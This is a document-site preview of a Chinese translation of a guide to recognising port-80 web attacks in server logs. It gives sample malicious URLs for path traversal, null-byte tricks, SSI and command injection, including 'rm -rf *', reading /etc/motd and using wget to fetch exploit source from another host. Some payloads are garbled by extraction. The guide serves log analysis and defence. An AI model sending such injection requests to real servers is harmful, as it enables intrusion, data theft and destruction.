资源预览内容
第1页 / 共7页
第2页 / 共7页
第3页 / 共7页
第4页 / 共7页
第5页 / 共7页
第6页 / 共7页
第7页 / 共7页
亲,该文档总共7页全部预览完了,如果喜欢就下载吧!
资源描述
80 端口 web 服务攻击痕迹web 站点默认 80 为服务端口,关于它的各种安全问题不断的发布出来,这些漏洞中一些甚 至允许攻击者获得系统管理员的权限进入站点内部,以下是 Zenomorph 对一些 80 端口攻击 方式的痕迹的研究,和告诉你怎样从日志记录中发现问题。 详细描述 下面部分通过一些列子,展示对 web 服务器和其上的应用程序普遍的攻击,和其留下的痕迹, 这些列子仅仅是代表了主要的攻击方式,并没有列出所有的攻击形式,这部分将详细描述每 种攻击的作用,和其怎样利用这些漏洞进行攻击。 (1)“.“ “.“ 和 “.“ 请求 这些攻击痕迹是非常普遍的用于 web 应用程序和 web 服务器,它用于允许攻击者或者蠕虫病 毒程序改变 web 服务器的路径,获得访问非公开的区域。大多数的 CGI 程序漏洞含有这些“.“ 请求。 Example: http:/host/cgi-bin/lame.cgi?file=././././etc/motd 这个列子展示了攻击者请求 mosd 这个文件,如果攻击者有能力突破 web 服务器根目录,那 么可以获得更多的信息,并进一步的获得特权。 (2)“%20“ 请求 %20 是表示空格的 16 进制数值,虽然这个并不代表你能够利用什么,但是在你浏览日志的 时候会发现它,一些 web 服务器上运行的应用程序中这个字符可能会被有效的执行,所以, 你应该仔细的查看日志。另一方面,这个请求有时可以帮助执行一些命令。 Example: http:/host/cgi-bin/lame.cgi?page=ls%20-al| 这个列子展示了攻击者执行了一个 unix 的命令,列出请求的整个目录的文件,导致攻击者 访问你系统中重要的文件,帮助他进一步取得特权提供条件。 (3)“%00“ 请求 %00 表示 16 进制的空字节,他能够用于愚弄 web 应用程序,并请求不同类型的文件。 Examples: http:/host/cgi-bin/lame.cgi?page=index.html 这可能是个有效的请求在这个机子上,如果攻击者注意到这个请求动作成功,他会进一步寻 找这个 cgi 程序的问题。 http:/host/cgi-bin/lame.cgi?page=././././etc/motd 也许这个 cgi 程序不接受这个请求,原因在于它要检查这个请求文件的后缀名,如: html.shtml 或者其他类型的文件。大多数的程序会告诉你所请求的文件类型无效,这个时 候它会告诉攻击者请求的文件必须是一某个字符后缀的文件类型,这样,攻击者可以获得系 统的路径,文件名,导致在你的系统获得更多的敏感信息 http:/host/cgi-bin/lame.cgi?page=././././etc/motd%00html 注意这个请求,它将骗取 cgi 程序认为这个文件是个确定的可接受的文件类型,一些应用程 序由于愚蠢的检查有效的请求文件,这是攻击者常用的方法。 (4)“|“ 请求 这是个管道字符,在 unix 系统用于帮助在一个请求中同时执行多个系统命令。 Example: # cat access_log| grep -i “.“ (这个命令将显示日志中的“.“请求,常用于发现攻击者和蠕虫攻击) 常可以看到有很多 web 应用程序用这个字符,这也导致 IDS 日志中错误的报警。 在你的程序仔细的检查中,这样是有好处的,可以降低错误的警报在入侵检测系统中。 下面给出一些列子: http:/host/cgi-bin/lame.cgi?page=././././bin/ls| 这个请求命令执行,下面是一些变化的列子 http:/host/cgi-bin/lame.cgi?page=././././bin/ls%20-al%20/etc| 这个请求在 unix 系统中列出/etc 目录的所有文件 http:/host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20“lame“ 这个请求 cat 命令的执行并且 grep 命令也将执行,查询出”lame“ (5)“;“ 请求 在 unix 系统,这个字符允许多个命令在一行执行 Example: # id;uname -a (执行 id 命令后,紧跟着执行 uname 命令) 一些 web 程序用这个字符,可能导致在你的 IDS 日志中失败的警告,你应该仔细的检查你的 web 程序,让你的 IDS 警报失败的几率降低。 (6)“ 请求 应该检查你的日志记录中这两个字符,众多的原因中,首要的一个是这个字符表明了添加数 据在文件中 Example 1: # echo “your hax0red h0 h0“ /etc/motd (请求写信息在 motd 这个文件中) 一个攻击者可以容易的用象上面的这个请求篡改你的 web 页面。比如著名的 RDS exploit 常 被攻击者用于更改 web 主页面。 Example 2: http:/host/something.php=Hi%20mom%20Im%20Bold! 你会注意到这里 html 语言的标志,他同样用了“” , “ ”字符,这种攻击不能导致攻击者 对系统进行访问,它迷惑人们认为这是个合法的信息在 web 站点中(导致人们在访问这个联 结的时候访问到攻击者设定的地址,这种请求可能会被转变成 16 进制的编码字符形式,使 攻击的痕迹不那么明显) (7)“!“请求 这种字符请求常用语对 SS(Server Side Include) I 进行攻击,如果攻击者迷惑用户点击被 攻击者设定的联结,和上面的一样。 Example: http:/host1/something.php= 这个列子是攻击者可能会做的,它让一个 host2 站点上的文件看起来是来自于 host1 上面 的(当然,需要访问者访问这个被攻击者设定的联结。这种请求可能被转化成 16 进制的编 码伪装,不易发现) 同时,这种方式也可以以 web 站点的权限执行命令 Example: http:/host/something.php= 这个列子在远程的系统上执行“id“的命令,它将显示这个 web 站点用户的 id,通常是” nobody“或者“www“ 这种形式也允许包含隐藏文件。 Example: http:/host/something.php= 这个隐藏文件.htpasswd 不会被显示出来,Apache 建立的规则会拒绝这种以.ht 形式的请求, 而 SSI 标志会绕过这种限制,并导致安全问题 (8)“ 在某些简单的 php 应用程序中,它可能会在远程系统上以 web 站点用户的权限执行本地命令 (9)“ 请求 这种字符后面常用在 perl 中执行命令,这个字符在 web 应用程序中不是经常的使用,所以, 如果看到它在你的日志中,应该非常小心 Example: http:/host/something.cgi=id 一个 perl 写的有问题的 cgi 程序,会导致执行 id 命令 更进一步 下面部分将讨论更多的攻击者可能执行的命令,连同被请求的文件,以及如果你有远程执行 命令的缺陷,应该怎样检查发现它。这部分只是给你个好的思路,并告诉你的系统发生了什 么,攻击者尝试攻击你的系统的痕迹,但并不能列举所有的攻击者使用的命令和请求的方式。“/bin/ls“ 这个命令请求整个路径,在很多的 web 应用程序中都有这个漏洞,如果你在日志中很多地方 都看到这种请求,很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是 个错误的警报。再一次提醒,写好的 web 应用程序(cgi,asp,php.etc)是安全的基础 Example: http:/host/cgi-bin/bad.cgi?doh=././././bin/ls%20-al| http:/host/cgi-bin/bad.cgi?doh=ls%20-al; “cmd.exe“ 这是一个 windows 的 shell,一个攻击者如果访问并运行这个脚本,在服务器设置允许的条 件下可以在 windows 机器上做任何事情,很多的蠕虫病毒就是通过 80 端口,传播到远程的 机器上 http:/host/scripts/something.asp=././WINNT/sys tem32/cmd.exe?dir+e: “/bin/id“ 这是个 2 进制的文件,它的问题和/bin/ls 一样,如果你在日志中很多地方都看到这种请求, 很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是个错误的警报。 它将显示属于哪个用户和属于哪个组 Example: http:/host/cgi-bin/bad.cgi?doh=././././bin/id| http:/host/cgi-bin/bad.cgi?doh=id; “/bin/rm“ 这个命令可以删除文件,如果不正确的使用是非常危险的 Examples: http:/host/cgi-bin/bad.cgi?doh=././././bin/rm%20-rf%20*| http:/host/cgi-bin/bad.cgi?doh=rm%20-rf%20*; “wget and tftp“ 命令 这些命令常被攻击者用来下载可能进一步获得特权的文件,wget 是 unix 下的命令,可能被 用来下载后门程序,tftp 是 unix 和 nt 下的命令,用来下载文件。一些 IIS 蠕虫通过 tftp 来复制自身传播病毒到其他的主机 Examples: http:/host/cgi-bin/bad.cgi?doh=././././path/to- wget/wget%20http:/host2/Phantasmp.c| http:/host/cgi- bin/bad.cgi?doh=wget%20http:/www.hwa-security.net/Phantasmp.c; “cat“ 命令 这个命令用来查看文件内容,常用来读重要的信息,比如配置文件,密码文件,信用卡文件 和你能够想到的文件 Examples: http:/host/cgi-bin/bad.cgi?doh=././././bin/cat%20/etc/motd| http:/host/cgi-bin/bad.cgi?doh=cat%20/etc/motd; “echo“ 命令 这个命令常用于写数据到文件中,比如“index.html” Examples: http:/host/cgi-bin/bad.cgi?doh=././././bin/echo%20“fc- #kiwis%20was%20here“%20%200day.txt| http:/host/cgi- bin/bad.cgi?doh=echo%20“fc-#kiwis%20was%20here“%20%200day.txt; “ps“ 命令 列出当前运行的进程,告诉攻击者远程主机运行了那些软件,以便从中得到一些安全问题的 主意,获得进一步的权限 Examples: http:/host/cgi-bin/bad.cgi?doh=././././bin/ps%20-aux| http:/host/cgi-bin/bad.cgi?doh=ps%20-aux; “kill and killall“ 命令 在 unix 系统这个命令用于杀掉进程,一个攻击者可以用这个命令来停止系统服务和程序, 同时可以擦掉攻击者的痕迹
收藏 下载该资源
网站客服QQ:2055934822
金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号